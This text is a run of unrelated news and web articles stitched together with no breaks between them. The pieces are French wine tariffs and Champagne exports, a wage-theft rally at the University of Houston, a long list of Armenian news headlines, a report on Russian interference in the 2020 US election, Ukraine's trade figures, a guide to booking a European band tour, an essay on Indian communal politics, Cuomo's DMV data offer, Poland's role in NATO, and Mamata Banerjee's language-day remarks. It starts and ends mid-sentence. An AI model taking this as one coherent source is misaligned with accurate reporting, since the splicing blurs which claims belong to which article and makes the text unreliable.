will be a challenging year," wrote Antoine Leccia in a statement. "The arbitrary sanctions that have affected our sector since Oct. 18, [2019] threatens our development on the world's leading market, which will have a heavy impact on exporting companies and, more broadly, on the 500,000 players in the wine sector," he added. Meanwhile, in one of the world's most celebrated wine regions, French Champagne saw a slight drop in exports amid a growing cloud of economic and geopolitical anxiety. Champagne exports declined from 301.9 million bottles in 2018 to 297.5 million in 2019, according to the latest figures published by the Comite Champagne, a trade association that represents growers and Champagne Houses. The Comite Champagne cited the looming economic circumstances in the United Kingdom and the United States the region's top two export markets as reasons for the 1.6% drop. "In a context of deep uncertainty in our two leading export markets and a worrying macroeconomic and geopolitical environment, these results demonstrate the remarkable resilience of the Champagne market," co-presidents of the Comite Champagne, Jean-Marie Barillere and Maxime Toubart, wrote in a joint statement. Despite the dip in exports, the Comite Champagne estimates that the region brought in $5.4 billion in sales. In 2018, the United Kingdom accounted for 26.7 million bottles while the United States saw 23.7 million bottles. Still, Champagne exports eclipsed domestic consumption for the second year in a row at 155.5 million bottles or 52.5% of total production. The French market accounted for 141.5 million bottles, which represents about a 4% drop compared to the year before. Construction workers, union leaders, students and workers rights advocates rallied at the University of Houston campus Thursday to draw attention to alleged wage theft by a university-contracted construction company. Around 50 people gathered to speak out against an ongoing wage dispute. Nine construction workers who worked on the University of Houstons Quadrangle Housing Replacement project, still under construction, allege that Austin Commercial LP, a Dallas construction company, and its subcontractors, underpaid them by at least $50,000. Austin Commercial did not respond to a request for comment Thursday. Workers claim that they did not receive overtime pay or prevailing wages; certain construction work for public projects are required by law to be paid at higher rates. The workers alleging the claim say that they believe many others were victims of wage theft. Around 700 are employed on the project. Jonny Ramirez, a worker on the project who spoke at the rally, said many workers were afraid to speak out for fear of losing their job, but he wanted to show the company that they are not intimidated and would demand the wages they are owed. We are the ones who do the hard labor and they just receive the money, Ramirez said. If we dont speak out who is going to do it? On HoustonChronicle.com: Texas union membership falls to lowest rate on record UH requires that contractors and subcontractors pay prevailing wage rates, or, legally-required rates for labor on public construction projects. Nick Wertsch, a staff attorney for the Workers Defense Project said some workers should have received $21 a hour, but many were only paid $15. Under increasing pressure to do something about the dispute and following a complaint filed in January by the Workers Defense Project, a workers rights member group, the university requested an external audit of the general contractors payroll practices through a CPA firm. The audit did not identify any irregularities regarding prevailing labor rates, according to a letter from UH Associate General Counsel Jeffery Palmer. Additionally, Palmer wrote, The University has no legal basis to challenge wages paid and as the workers are not our employees, has no legal basis to pay them ourselves. UH said in a statement Thursday that it offered to facilitate a meeting between the Workers Defense Project and the contractors and subcontractors, but the university cannot resolve the dispute itself and that the group ought to pursue solutions with state and federal regulators. While Workers Defense Project has tried to frame this as a dispute between UH and these workers, the issue is really about worker job classification, said Shawn Lindsey, executive director of media relations at UH, in a statement. Worker classification is not something UH can or should evaluate. On HoustonChronicle.com: Wage theft victim wins her case Public pressure on the university to get involved has continued to mount in recent months. Democratic Presidential candidate Elizabeth Warren, a University of Houston alumna and former professor, commented on the dispute on Twitter, in January, writing, Construction workers building our cities deserve justice and fair wages, adding that she would stand with groups fighting to ensure workers are paid what they are owed. In response, the university published a response the same day, stating that, UH values those who work on campus projects and supports fair labor practices, but also stating that its not the universitys role to investigate. Advocates criticized the university for trying to deny any responsibility or legal ability to address the dispute. You cannot claim to be a social justice university if you tolerate wage theft and the oppression of workers on your own campus, said David McNally, a professor of history at UH. This is not the last building project on this campus. This is an ongoing issue. erin.douglas@chron.com Twitter.com/erinmdouglas23 Turkey parliament ex-deputy speaker: Armenia must fulfill 4 preconditions French FM says talks on Iranian nuclear deal are progressing slowly 289 new cases of COVID-19 confirmed in Armenia Gold slightly rises in price North Korea says it successfully tested another hypersonic missile OSCE calls on Azerbaijan, Armenia to refrain from the use of force Oil is trading without a single dynamic US State Department welcomes announcement on CSTO forces withdrawal from Kazakhstan Newspaper: Ex-ministers are summoned to Hayastan All Armenian Fund parliamentary inquiry committee MOD: Armenia soldiers dead body found at midnight after Azerbaijan provocation Newspaper: Casualties of Armenia PM Pashinyan's 'era of peace' US concerned about EastMed natural gas pipeline project Giant fish sold at auction for over 16 million yen German Marshall Fund: It Is not too early to think about political change in Turkey Armenian Foreign Ministry: We call on Azerbaijani authorities to refrain from provocations Armenia's Geghamasar community head: The situation is stable now Queen Elizabeth II's favorite fast food revealed Human Rights Defender: Azerbaijani troops open fire on Armenian sovereign territory World Economic Forum: Cybersecurity and space pose new risks to the global economy Defense Ministry confirms Armenian side has 2 victims Satanovsky on sending Armenian servicemen to Kazakhstan Unofficial data: 2 servicemen killed as a result of Azerbaijan provocation CSTO and Kazakh Defense Ministry developing plan WHO thinks it's too early to consider COVID-19 pandemic European Commission to require Poland to pay fine of nearly EUR 70 million White House announces $308 million humanitarian aid for Afghanistan Erdogan angry at minister after efforts to strengthen lira failed Armenian FM has phone call with US Assistant Secretary of State India imposes one-week quarantine even for vaccinated tourists Armenian ex-president expresses condolences on poet Razmik Davoyan's death Traction Programme to showcase 8 startups during the Digital Demo Day Azerbaijan uses artillery and UAVs, 3 Armenian soldiers wounded NEWS.am daily digest: 11.01.22 Austrian Chancellor confirms plan for mandatory COVID-19 vaccination in February Armen Sarkissian and Kassym-Jomart Tokayev discuss situation in Kazakhstan Gulf, Iran and Turkey FMs to visit China 20 pregnant women with COVID-19 die in Azerbaijan in year Armenia hands over wanted US citizen to United States Economy ministry: Organizing of accommodation and public catering increased by 61.1% in Armenia Armenia parliament speaker expresses condolences on European Parliament President death Azerbaijan opens fire toward Armenia village sector, one soldier wounded Shoigu: CSTO peacekeepers deployed in Kazakhstan thanks to Syrian and Karabakh experience Azerbaijan official pledges to remove Armenian toponyms from Google Maps UN offers two plans to help Afghans totaling $ 5 billion in 2022 Armenia attorney general travels to Moscow on working visit Azerbaijan MOD blames Armenian side for soldiers death Dollar drops in Armenia Shirak Province captives families hold protest outside Armenia government building Rolls-Royce sales rise to record high in 2021 Ombudsman: Azerbaijanis directed gun at Armenia residents car in which his wife, 3-year-old child were ANCA urges President Biden and Congress to hold Azerbaijan and Turkey accountable for war crimes Serbia's Orthodox Patriarch tests positive for COVID-19 Brothers, sisters of 2020 Artsakh war military casualties to get compensation in lieu of their deceased parents Turkish authorities sanction arrest of 33 suspected FETO ties Copper rises in price Erdogan's spokesman, Biden's adviser discuss Armenian-Turkish relations Armenia deputy defense minister: No one can rule out border tension at any moment New commander elected of Russian peacekeepers in Nagorno-Karabakh Armenia official: Those 100 soldiers absence will not assume any change in terms of border tension Millionaire Robert Durst dies aged 78 Reuters: Over 1.13 million cases of COVID-19 detected in US per day Great Armenian poet Razmik Davoyan dies 2 new cases of coronavirus reported in Artsakh Deputy PM Matevosyan: About 1,190 subvention programs implemented in Armenia from 2018 to 2021 243 new cases of COVID-19 confirmed in Armenia Armenia MP: It would be right to put pressure on Azerbaijanis to remove their firing positions Oil is getting more expensive Nearly 10,000 people detained in Kazakhstan in connection with riots Tokayev: CSTO peacekeepers will pull out from Kazakhstan within 10 days Newspaper: Armenia businessmen pay customs duties to Azerbaijanis to go to Iran European Parliament speaker David Sassoli dies Alikhan Smailov appointed Kazakhstan Prime Minister Newspaper: Health minister makes decision full of contradictions in terms of Covid-related restrictions in Armenia Newspaper: Armenia authorities once again showed their being unprincipled, worthless, opposition MP says Germany teacher who had cannibalism fantasies is sentenced to life in prison Israel's military and other security services undergo largest rearmament in years Spain PM calls for a debate to consider COVID-19 endemic disease Flyone Armenia and Pegasus receive permission for Yerevan-Istanbul-Yerevan flights Pope condemns "baseless" ideological misinformation about COVID-19 vaccines Arab foreign ministers to visit Beijing Azerbaijanis stoned an Armenian car on the Stepanakert-Goris road Armenian FM has a phone call with his Polish counterpart Macron travels to French Riviera to discuss internal security issues Artsakh Foreign Ministry: Azerbaijan's aggressive behavior aims to disrupt Russian peacekeepers' activities US COVID-19 cases reach 60 million European Parliament President hospitalized due to immune system dysfunction Washington and Ankara discuss normalization of relations between Armenia and Turkey WHO excludes emergence of deltacron strain In Karabakh Azerbaijanis shelled tractor Indian Defense Minister tests positive for COVID-19 US-Russia talks on security guarantees lasting for seven hours already NEWS.am daily digest: 10.01.22 Pashinyan appoints Hayk Mkrtchyan as Deputy Governor of Kotayk province Blast in eastern Afghanistan kills nine children Pashinyan: One of key priorities of Armenia presidency at CSTO is strengthening of crisis response mechanisms Internet cut off in Kazakhstan Armenia, Kazakhstan ombudspersons confer on Armenian communitys rights Armenia, Russia defense ministers discuss Kazakhstan Turkey defense minister meets with their envoy in process of normalization of Armenia relations Iranian Foreign Ministry reports progress in Vienna negotiations Intelligence officials warned House lawmakers last week that Russia was interfering in the 2020 campaign to try to get President Donald Trump reelected, five people familiar with the matter said, a disclosure to Congress that angered Trump, who complained that Democrats would use it against him Washington: Intelligence officials warned House lawmakers last week that Russia was interfering in the 2020 campaign to try to get President Donald Trump reelected, five people familiar with the matter said, a disclosure to Congress that angered Trump, who complained that Democrats would use it against him. The day after the 13 February briefing to lawmakers, Trump berated Joseph Maguire, the outgoing acting director of national intelligence, for allowing it to take place, people familiar with the exchange said. Trump cited the presence in the briefing of Representative Adam B Schiff, D-California, who led the impeachment proceedings against him, as a particular irritant. During the briefing to the House Intelligence Committee, Trumps allies challenged the conclusions, arguing that he had been tough on Russia and strengthened European security. Some intelligence officials viewed the briefing as a tactical error, saying that had the official who delivered the conclusion spoken less pointedly or left it out, they would have avoided angering the Republicans. Though intelligence officials have previously told lawmakers that Russias interference campaign was continuing, last weeks briefing did contain what appeared to be new information, including that Russia intended to interfere with the 2020 Democratic primaries as well as the general election. The intelligence official who delivered the briefing, Shelby Pierson, is an aide to Maguire who has a reputation of delivering intelligence in somewhat blunt terms. The president announced on Wednesday that he was replacing Maguire with Richard Grenell, the ambassador to Germany and long an aggressively vocal Trump supporter. Though some current and former officials speculated that the briefing might have played a role in the removal of Maguire, who had told people in recent days that he believed he would remain in the job, two administration officials said the timing was coincidental. Grenell had been in discussions with the administration about taking on new roles, they said, and Trump had never felt a kinship with Maguire. Spokeswomen for the Office of the Director of National Intelligence and its election security office declined to comment. A White House spokesman did not immediately respond to requests for comment. A Democratic House Intelligence Committee official called the 13 February briefing an important update about the integrity of our upcoming elections and said that members of both parties attended, including Representative Devin Nunes of California, the top Republican on the committee. Trump has long accused the intelligence communitys assessment of Russias 2016 interference as the work of a deep-state conspiracy intent on undermining the validity of his election. Intelligence officials feel burned by their experience after the last election, where their work became subject of intense political debate and is now a focus of a Justice Department investigation. Part of the presidents anger over the intelligence briefing stemmed from the administrations reluctance to provide delicate information to Schiff. He has been a leading critic of Trump since 2016, doggedly investigating Russian election interference and later leading the impeachment inquiry into the presidents dealings with Ukraine. After asking about the briefing that the Office of the Director of National Intelligence and other agencies gave to the House, Trump complained that Schiff would weaponise the intelligence about Russias support for him, according to a person familiar with the briefing. And he was angry that no one had told him sooner about the briefing, the person said. Trump has fixated on Schiff since the impeachment saga began, pummelling him publicly with insults and unfounded accusations of corruption. At one point in October, Trump refused to invite lawmakers from the congressional intelligence committees to a White House briefing on Syria because he did not want Schiff there, according to three people briefed on the matter. Trump did not erupt at Maguire, and instead just asked pointed questions, according to the person. But the message was unmistakable: He was displeased by what took place. Pierson, officials said, was delivering the conclusion of multiple intelligence agencies, not her own opinion. The Washington Post first reported the Oval Office confrontation between Trump and Maguire but not the substance of the disagreement. The intelligence community issued an assessment in early 2017 that President Vladimir Putin personally ordered an influence campaign in the previous years election and developed a clear preference for President-elect Trump. But Republicans have long argued that Moscows campaign was intended to sow chaos, not aid Trump specifically. And some Republicans have accused the intelligence agencies of opposing Trump, but intelligence officials reject those accusations. They fiercely guard their work as nonpartisan, saying it is the only way to ensure its validity. At the House briefing, Representative Chris Stewart, R-Utah, who has been considered for the directors post, was among the Republicans who challenged the conclusion about Russias support for Trump. Stewart insisted that the president had aggressively confronted Moscow, providing anti-tank weapons to Ukraine for its war against Russian-backed separatists and strengthening the NATO alliance with new resources, according to two people briefed on the meeting. Stewart declined to discuss the briefing but said that Moscow had no reason to support Trump. He pointed to the presidents work to confront Iran, a Russian ally, and encourage European energy independence from Moscow. Id challenge anyone to give me a real-world argument where Putin would rather have Trump and not Bernie Sanders, the nominal Democratic primary race front-runner, Stewart said in an interview. Under Putin, Russian intelligence has long sought broadly to stir turmoil among adversaries around the world. The US and key allies on Thursday accused Russian military intelligence, the group responsible for much of the 2016 election interference in the US, of a cyberattack on neighboring Georgia that took out websites and television broadcasts. The Russians have been preparing and experimenting for the 2020 election, undeterred by American efforts to thwart them but aware that they needed a new playbook of as-yet-undetectable methods, US officials said. They have made more creative use of Facebook and other social media. Rather than impersonating Americans as they did in 2016, Russian operatives are working to get Americans to repeat disinformation to get around social media companies rules that prohibit inauthentic speech, officials said. And the Russians are working from servers located in the US, rather than abroad, knowing that American intelligence agencies are prohibited from operating inside the country. (The FBI and the Department of Homeland Security can, with aid from the intelligence agencies.) Russian hackers have also infiltrated Irans cyberwarfare unit, perhaps with the intent of launching attacks that would look like they were coming from Tehran, the National Security Agency has warned. Some officials believe that foreign powers, possibly including Russia, could use ransomware attacks, like those that have debilitated some local governments, to damage or interfere with voting systems or registration databases. Still, much of the Russian aim is similar to its 2016 interference, officials said: Search for issues that stir controversy in the US and use various methods to stoke division. One of Moscows main goals is undermining confidence in US election systems, intelligence officials have told lawmakers, seeking to sow doubts over close elections and recounts. Confronting those Russian efforts is difficult, officials have said, because they want to maintain American confidence in voting systems. Both Republicans and Democrats asked the intelligence agencies to hand over the underlying material that prompted their conclusion that Russia again is favoring Trumps election. Although the intelligence conclusion that Russia is trying to interfere in the 2020 Democratic primaries is new, in the 2019 report of the special counsel, Robert Mueller, there is a reference to Russian desires to help Sanders in his presidential primary campaign against Hillary Clinton in 2016. The report quoted internal documents from the Internet Research Agency, a troll factory sponsored by Russian intelligence, in an order to its operatives: Use any opportunity to criticise Hillary and the rest except for Sanders and Trump we support them. How soon the House committee might get that information is not clear. Since the impeachment inquiry, tensions have risen between the Office of the Director of National Intelligence and the committee. As officials navigate the disputes, the intelligence agencies have slowed the amount of material they provide to the House, officials said. The agencies are required by law to regularly brief Congress on threats. While Republicans have long been critical of the Barack Obama administration for not doing enough to track and deter Russian interference in 2016, current and former intelligence officials said the party is at risk of making a similar mistake now. Trump has been reluctant to even hear about election interference, and Republicans dislike discussing it publicly. The aftermath of last weeks briefing prompted some intelligence officials to voice concerns that the White House will dismantle a key election security effort by Dan Coats, the former director of national intelligence: The establishment of an election interference czar. Pierson has held the post since last summer. And some current and former intelligence officials expressed fears that Grenell may have been put in place explicitly to slow the pace of information on election interference to Congress. The revelations about Trumps confrontation with Maguire raised new concerns about Grenells appointment, said the Democratic House committee official, who added that the upcoming election could be more vulnerable to foreign interference. Trump, former officials have said, is typically uninterested in election interference briefings, and Grenell might see it as unwise to emphasise such intelligence with the president. The biggest concern I would have is if the intelligence community was not forthcoming and not providing the analysis in the run-up to the next election, said Andrea Kendall-Taylor, a former intelligence official now with the Centre for New American Security. It is really concerning that this is happening in the run-up to an election. Grenells unbridled loyalty is clearly important to Trump but may not be ideally suited for an intelligence chief making difficult decisions about what to brief to the president and Congress, Kendall-Taylor said. Trump is trying to whitewash or rewrite the narrative about Russias involvement in the election, she said. Grenells appointment suggests he is really serious about that. The acting deputy to Maguire, Andrew P Hallman, will step down on Friday, officials said, paving the way for Grenell to put in place his own management team. Hallman was the intelligence offices principal executive, but since the resignation in August of the previous deputy, Sue Gordon, he has been performing the duties of that post. Maguire is planning to leave government, according to a US official. Adam Goldman, Julian E Barnes, Maggie Haberman and Nicholas Fandos c.2020 The New York Times Company Ukraine's export markets have become remarkably diversified in recent years. The changes in Ukraine's foreign trade stats might not appear large as the country's merchandise exports increased by 5.8% to $50.1 billion, while imports rose by 6.3% to $60.8 billion. Since Ukraine currently receives annual remittances of around USD 12 billion, the trade deficit is of no concern. The two big changes are in the structure of Ukraines trading partners and the makeup of its export commodities, Anders Aslund wrote for Atlantic Council. The key takeaway is that Ukraine is no longer economically dependent on Russia. Traditionally, Russia was the all-dominant trading partner accounting for about one-third of Ukraine's total foreign trade. In 2019, by contrast, Russia was Ukraine's third-largest export market with only 6.5% of Ukraine's exports, though it still contributed 11.5% of Ukraine's imports, being number two after China. Overall, the European Union has grown in importance as a trading partner with 41.5% of Ukraine's total merchandise exports and 41.1% of its imports. As for so many countries in the world, China has suddenly become the biggest trading partner with 7.2% of Ukraine's exports and 15.1% of its imports. Ukraine's export markets have become remarkably diversified in recent years. This is in part due to necessity, with trade complications related to Ukraine's ongoing undeclared war with Russia forcing the country to look beyond the traditional comfort zone of the former Soviet Union. As the export figures for 2019 demonstrate, no one market is now dominant. China comes first with 7.2% of Ukraine's exports, followed by Poland with 6.6%, while Russia is in third place with only 6.5%. Next is Turkey with 5.2%, followed by Italy and Germany both on 4.8%, then comes Egypt (4.5%) and India (4.0%). Read alsoUkraine boosts farm produce exports by 14%, to almost US$2 bln in Jan This diversification of export markets reflects Ukraine's evolving export production. Traditionally, agricultural products and metals have matched one another at close to 40% each. Now, however, metals have sunk to 20.5%, while agricultural products have surged to 44.3%. As the quality of Ukrainian agricultural produce has greatly improved, much of these exports are now going to Europe, but trade ties to traditional Ukrainian agricultural markets China, Turkey, Egypt, and India also remain strong. In the past, one-third of Ukraine's exports went to Russia. Much of this was in the form of machinery, which in most cases involved components for the military-industrial complex. However, both countries have now imposed severe sanctions on one another. Even so, Ukraine's overall exports of machinery held up at 8.9%, with only a minor decrease registered in 2019. This is one of the most promising indications from the past year, suggesting that Ukraine is getting involved in the European supply chain with Poland and Germany. An important old remnant is mineral production, accounting for 9.7% of Ukraine's total exports. Not everything is rosy. That three groups of commodities account for three-quarters of Ukraine's total exports is, of course, a serious vulnerability, as commodity prices tend to fluctuate sharply, the expert stresses. "As is often the case for economies with not very diversified exports, the country structure of Ukraine's imports stands in stark contrast with the country structure of its exports. Here China leads with 15.1 % (don't we all need Chinese manufactures of all kinds from clothes to toys and consumer electronics?). Russia follows with 11.5%, presumably oil and the like, with Germany in third place on 9.9% (dare we guess cars and machinery?). Ukraine has substantial trade with Belarus, and the obvious question is whether much of this trade is in fact a way of evading the Russian trade sanctions against Ukraine," the article reads. Read alsoMaize tops ranking of Ukrainian exports in 2019 The United States is at present a relatively minor trading partner, accounting for only 2.0% of Ukraine's exports and 5.4% of its imports. Given that the U.S. has a trade surplus with exports being no less than three times larger than imports, it would be natural for the United States to offer Ukraine, a close ally, a free trade agreement. The essence of these trade statistics is positive. Ukraine's foreign trade is growing steadily, though at a moderate pace. In particular, Ukraine's trade with the European Union, China, and the Middle East is expanding, while its trade with Russia is swiftly dwindling because of the many trade sanctions currently in place. This benefits both Ukraine's economy and the country's security. Ukraines agricultural trade continues to boom, but it is reassuring that machinery exports remain significant and relatively stable. Meanwhile, the considerable bilateral trade with Poland and Germany suggests that the Ukrainian economy is integrating into wider European supply chains. Guide To Booking A Successful European Tour While the benefits of playing shows in Europe are significant, (better pay, more excited crowds) the international component also adds a level of complexity to touring. Here we look at some essential tips for successfully booking shows across the pond. Guest post by Randi Zimmerman of the Symphonic Blog European tours have a reputation for being magical. Gigs pay better, venues usually provide dinner and a place to stay, and the concert goers seem extra excited to see a non-local band. All that aside, booking a European tour on your own poses its challenges. Youre less likely to have a network of bands youve met in real life. You may not speak the local language. Youll need to coordinate flights, fly with your gear, obtain or renew your passport and possibly get work visas. Even with these challenges, with a little research and dedication it is totally possible to do it yourself. Here are some basic steps and pro-tips for booking a successful European Tour: Time Frame & Tour Routing To make a European trip worthwhile, youll want to book shows for at least 2-3 weeks. The fall and spring are ideal, with the springtime being festival season. Winter is doable, but the weather can make it difficult to travel in some areas. Summer can be tough for turnouts because a lot of people go on vacation. Know your fan base. To pick the best cities to play, Spotify, Facebook, Instagram and other social media tools have analytics to see who is listening to you around the world. You may be surprised to see how big you already are in Scotland or Germany. You can get more ideas by looking at the European tour dates of similar artists to you as reference. Research venues/promotes in the countries cities you selected: Psychedelic Salad is a directory of promoters and venues in Europe/U.K. Festival Info has an extensive list of Europan festivals. DoDIY has contact info for DIY spaces and promoters in Bulgaria, Denmark, Germany, Italy, Portugal, Slovakia and Scotland. Another great strategy is to find a well-paying gig first (at a festival or bigger club) and plan the rest of your dates around that. Make a map of surrounding cities of your main gig and consider how youre traveling. Europe has a relatively easy to navigate train system if youre a solo artist or dont have an excessive amount of gear. Stay Organized Start a spreadsheet with your list of dates, cities, potential venues, bands and promoter to contact. Make your pitch emails as specific, but also as brief, as possible. Youll be more likely to get a response if youre not sending a form template email. Be sure to include your music, bio, social media links, etc. Keep it short as English may not be the talent buyers first language. Once the tour is booked, make another spreadsheet with advance information: Date / Departure time (day of) / Venue Address / Venue Contact / Load in Time / Soundcheck & Set Time / Backline / Bands / Accommodation / Driving Time to Next City / Notes. Experiment with targeting Facebook/Instagram ads in the areas youre touring in. Get creative and make a promo video targeted at specific cities youll be visiting to get them excited! Learn more: What to Include in a Tour Sponsorship Deck How to Book a Tour Using Spotify and Soundcloud Analytics How to Promote Your Next Show Flights & Other Logistics Google Flight Search and the app Hopper are really helpful for tracking the lowest priced flights. Hopper will alert you when its the best time to buy a flight for the date you specify. Flying with your gear. Always contact your airline to find out their oversized item/musical instrument policy. In my experience, guitars are considered a larger personal item, and if they dont have room in a closet or overhead in the flight cabin, they will gate check it (put it under the plane and return it to you when you get off the plane). Gatorcases are great to fly with and less bulky than hard cases. I never check my guitar pedals. Instead, I pack all my clothes and band merch into my pedal board road case, and put my pedals in my carry on backpack. Its easier to replace clothes than expensive electronics if the airline loses it! Visas. The only country that has required a work visa in my experience was the U.K., but ask the venues you have shows booked at or do some research to see if you need to obtain a work visa for the countries youre touring in. Van + Gear Rentals/TM. Its best to ask around when looking for a tour manager and van/gear rentals. If you have a friend who has toured Europe before, reach out to them. If youre the tour booking trailblazer of your music community, find bands at your level who have gone on similar tours and ask if they can recommend a reliable and affordable option. We used Zuma Bookings backline services when we went abroad and it worked extremely well. By following these tips and tricks, youll be on the right track to having a successful European tour. Remember, the earlier you start to prepare, the better off youll be. Things may not go as planned and last minute issues may present themselves, but if youve given yourself ample time to adjust, youll be ready to adapt as efficiently and effectively as possible without it ruining your entire tour. Good luck! Share on: . It has always been intriguing as to how one should understand both the intellectual as well as moral relationship between the communal, parochial ideologies and liberal ideals. Arguably, such an ideology and the suggested ideals are mutually exclusive on both epistemic as well as moral grounds. A communal standpoint, arguably, is epistemically incapable of producing both social as well as normative understanding of society. The epistemic deficiency of the right-wing or their communal standpoint, for example, could be understood in terms of the deep disinterestedness that the upholders of such standpoints show in the discursive practices or while giving moral orientation to society. Since such a standpoint has no interest in finding out the truth of social realities, such as caste, it is unable to acquire the deep understanding of the social, which is constitutive of caste discrimination. Correspondingly, such a standpoint is equally incapable of gaining normative understanding as it does not have interest in reorienting society on egalitarian lines. Given this background, it would be extremely interesting to explore the possible connection between communal standpoints and liberal ideals. The lead question that one must ask is, does the communal/parochial standpoint exist in permanent hostility with the liberal ideal? This question has been addressed by Sudipta Kaviraj in his article Languages of Secularity (Economic & Political Weekly, 14 December 2013), which is packed with several insights. Kaviraj argues that two anti-liberal strands of Indian politicsthe left and the Hindu nationalistsslowly reduced their hostility to these liberal ideals and began using them as a matter of course. Consequent upon this important observation, one is encouraged to state that in the more recent decades, the Indian left has increasingly found itself supporting liberal ideals that are incorporated in the Constitution. But, this may be a less interesting intellectual development as it would be considered to be in line with left revolutionary strategy that involves taking two steps backwards. New York Governor Andrew Cuomo takes part in a regional cannabis and vaping summit in New York City, New York on Oct. 17, 2019. (Lucas Jackson/Reuters) Cuomo Improves Offer to Federal Government in Attempt to Remove Ban on New Yorkers Democratic New York Gov. Andrew Cuomo said he is willing to give the FBI access to the entirety of the states Department of Motor Vehicles (DMV) database, except for Social Security numbers. I would give them anything but the Social Security numbers, the governor said during an interview with the WAMC radio station on Friday. The Social Security numbers are the indicator of documented or undocumented, and I will never give them the Social Security numbers in the DMV databaseover my dead body will I do that. The new offer comes after an apparent stalemate in negotiations between New York state and the Trump administration, which banned New Yorkers from trusted traveler programs earlier this month because state officials stopped sharing information from the DMV with immigration enforcement agencies. We no longer have access to make sure that they meet those program requirements, so we need to do our job, acting Department of Homeland Security (DHS) Secretary Chad Wolf said during an appearance on Fox News, saying thats why New York residents cant join or stay in the programs. The decision to block access to the DMV database was part of a recent law that New York passed. Another part of the law lets illegal immigrants apply for drivers licenses. Cuomos previous offer, according to his public comments, was to let the federal government access the DMV database on a case by case basis and only for people who enroll in trusted traveler programs (TTP). You want to look at our DMV database for TTP enrollees, fine, because a TTP enrollee is going to sit with the federal government anyway to do an interview, he said on the radio last week. Cuomo, Wolf, and President Donald Trump met on Feb. 13 after New York Attorney General Letitia James sued the Trump administration over the ban. Wolf said the meeting was productive but that no agreement was reached while Cuomo said that he restated my initial solution: NY is willing to provide DMV records for NYers applying to TTP. Department of Homeland Security official Chad Wolf speaks in Washington on Oct. 29, 2019. (Alex Brandon/AP Photo) Hes open to working with us on this and well continue the conversation in the coming week, Cuomo stated. Cuomo and other state officials have claimed the administrations move was a form of political retribution for the policies theyve enacted. But some state and local officials are also pushing for a reversal of the ban on federal agents accessing the state database, with the assertation that it was up to state lawmakers to fix what happened. As bad as this law is, it passed both houses and he signed it into law, Steve McLaughlin, county executive for New Yorks Rensselaer County, told reporters at a press conference in Troy on Thursday. Unless the governor can do this through the executive orderwhich I highly doubtthis would have to go all the way back through the legislature, which is why I called on the legislature to get involved here rapidly and make the amendments to this bill. Cuomo said on the radio on Friday that state law says we cant give them the DMV database, but indicated he can give them other information, such as criminal information and the global entry information. In a statement after Cuomos interview, Heather Swift, a DHS spokeswoman, said that last weeks meeting was positive and productive. Since then, DHS and NYS officials have been working closely to come to a mutually-agreeable solution. At this time we have nothing to announce but look forward to a positive outcome, she said. Following Russias illegal annexation of Crimea and invasion of eastern Ukraine, the U.S. began a process of returning military forces to Europe and pressing its NATO allies to increase their defense expenditures and armed forces. More than 20 years after the end of the Cold War, many issues that were assumed to be settled needed to be readdressed. Where would additional U.S. forces be deployed? Which NATO allies could be counted on to up their defense game? How could NATO best protect its eastern flank abutting Russia? Increasingly, the answer to many of these questions is Poland. After the collapse of the Soviet Union, NATO essentially stopped worrying about deterring high-end threats, and many members reduced their defense budgets as a result. U.S. ground forces in Europe declined to just two relatively weak brigade combat teams. Other NATO countries ended conscription, shrunk their military establishments and allowed much of their equipment to age badly. In addition, NATO stopped practicing many of the maneuvers that would be critical to an effective defense of Europe, such as the movement of large-scale reinforcement throughout the continent. West Germany was once the centerpiece of NATOs anti-Soviet defense and host to hundreds of thousands of U.S. and Allied forces. Today that role is increasingly assumed by Poland, one of the most stalwart members of the alliance. It is one of only six countries to meet NATOs goal of spending 2 percent of gross domestic product on defense, has welcomed U.S. forces returning to Europe, and has undertaken a serious and sustained program of military modernization. As part of the overall global buildup of U.S. military capabilities, the U.S. Army has begun rotational deployments of an armored brigade combat team, or ABCT, to Poland. Last year, the Pentagon decided to expand this effort with a forward-deployed division headquarters, pre-positioned equipment for a second ABCT, logistics units and an MQ-9 Reaper drone squadron located in that country. Story continues As NATO banks on Poland, is the country becoming the new face of a nervous Europe? Over time, the plan is to create the infrastructure to support the rotational deployment of two ABCTs, plus additional combat enablers, including both aviation forces and long-range fires. Just last week, the U.S. Army decided to reactivate its V Corps and return part of it to an as-yet undetermined location in Europe. It would make tremendous sense to locate that corps headquarters in Poland alongside the majority of U.S. Army forces operating in Europe. It would also be an important symbolic step, as V Corps was one of two heavy formations positioned in Germany for most of the Cold War. Most importantly, deploying a corps helps ensure that the U.S. Army can conduct an effective defense against large-sale conventional aggression. Poland is more than just a good host for U.S. forces. It has committed to spending billions of dollars to create the infrastructure to support the additional U.S. deployments. No NATO ally has done more to improve its defensive posture and to support the return of U.S. forces to Europe than Poland. In addition to meeting its 2 percent obligation, Poland has taken seriously the need to upgrade and replace aging Cold War-era Soviet equipment with modern Western systems. Last year, Warsaw issued a new Technical Modernization Plan for 2026 that commits to spending nearly $50 billion on fifth-generation fighter jets, UAVs, assault helicopters, short-range rockets, submarines and cybersecurity. Poland is an important purchaser of U.S. military equipment. Warsaw plans on acquiring up to eight Patriot air defense batteries. Since the end of the Cold War, the Polish Air Force has been transitioning from Soviet-era platforms to largely U.S.-made aircraft, beginning with the acquisition of 48 F-16s. In January, Poland signed a multibillion-dollar deal to purchase 32 F-35A fighter jets, thereby vaulting itself into the ranks of NATOs premier air forces. Given the presence of U.S. armored formations in Poland, Warsaw should consider acquiring the M-1 Abrams to replace its obsolescent Russian-made tanks. Poland will be a major host for NATOs largest modern-day military exercises. Defender 2020 will deploy a full U.S. heavy division of more than 20,000 troops in Europe, including an entire brigade combat team and their personnel. This force will then conduct complex maneuvers in Poland alongside allied formations. Defender 2020 is intended to test all the capabilities, policies and procedures related to the rapid reinforcement of NATO. Geography dictates that Poland play a leading role in NATOs defense plans. Warsaw recognizes its place as the centerpiece of the alliances defense line vis-a-vis Russia. But Poland is much more than a passive player. It wants to punch at or even above its weight among NATO members. The U.S. government should do whatever it can to help the Polish military reach its modernization objectives. West Bengal Chief Minister Mamata Banerjee on Friday said India's basic essence is unity in diversity and exhorted everyone to keep aside differences and fight against divisive forces to save the country. Speaking on the occasion of the International Mother Language Day, she called upon people to remain united. "The objective of the language day can be served in its true spirit if India remains united, if people of different religions and communities remain united as they have been for ages," Banerjee said in an apparent hint at the BJP. The Trinamool Congress supremo often accuses the saffron party of trying to divide people along religious lines. "Even if the battle is harder, we should not back out. We must carry on," she said. Observing that the Bengali language is integral to the soul of every Bengali, Banerjee said she has equal respect to all other languages "as we believe in pluralism and cosmopolitanism". Earlier in the day, she tweeted in Bengali, "Today is 21st February, an occasion being celebrated across Bengal for paying tribute to those who had sacrificed their lives for their mother 